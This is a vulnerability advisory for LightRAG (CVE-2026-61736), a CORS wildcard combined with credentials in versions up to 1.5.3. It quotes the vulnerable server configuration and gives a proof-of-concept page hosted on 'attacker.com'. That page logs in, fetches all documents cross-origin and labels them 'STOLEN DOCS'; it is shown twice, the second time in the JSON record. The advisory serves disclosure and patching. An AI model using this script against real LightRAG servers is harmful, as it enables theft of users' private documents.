GHSA-6X6H-QQR7-855W

Vulnerability from github – Published: 2026-07-20 21:45 – Updated: 2026-07-20 21:45
VLAI
Summary
LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests
Details

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.5.3"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lightrag-hku"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61736"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:45:25Z",
    "nvd_published_at": "2026-07-15T15:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette\u0027s CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.\n\n### Details\n\n```python\n# lightrag/api/config.py:639\nargs.cors_origins = get_env_value(\"CORS_ORIGINS\", \"*\")  # default wildcard\n\n# lightrag/api/lightrag_server.py:1379\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],       # any origin\n    allow_credentials=True,   # credentials \u2014 PROBLEM with wildcard\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n\n# Starlette CORSMiddleware (confirmed in source):\n# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials\n# = not True or True = True  \u2192 echoes the requesting origin back, not \"*\"\n# Result: every origin receives Access-Control-Allow-Credentials: true\n```\n\n### PoC\n\nHost on any origin. Open in browser where user is logged in to LightRAG:\n\n```html\n\u003c!-- attacker.com/steal.html --\u003e\n\u003cscript\u003e\nconst TARGET = \"http://lightrag-server:9621\";\n(async () =\u003e {\n  // Get victim token (or re-use existing session)\n  const r1 = await fetch(`${TARGET}/login`, {\n    method: \"POST\", credentials: \"include\",\n    headers: {\"Content-Type\": \"application/x-www-form-urlencoded\"},\n    body: \"username=victim\u0026password=known_pass\"\n  });\n  const { access_token } = await r1.json();\n\n  // Exfiltrate all documents\n  const docs = await (await fetch(`${TARGET}/documents`, {\n    credentials: \"include\",\n    headers: { Authorization: `Bearer ${access_token}` }\n  })).json();\n  console.log(\"STOLEN DOCS:\", docs);\n})();\n\u003c/script\u003e\n```\n\n### Impact\nPermissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.",
  "id": "GHSA-6x6h-qqr7-855w",
  "modified": "2026-07-20T21:45:25Z",
  "published": "2026-07-20T21:45:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-6x6h-qqr7-855w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61736"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/pull/3317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/09567a4c983f580050db63569dd477122c058c3d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/df68d75f9dc29dd340ffb6794b48f48c4fdc9a2d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/commit/ebba6548639c0f2e8919100eff76b401f1222252"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HKUDS/LightRAG"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Detection rules are retrieved from Rulezet.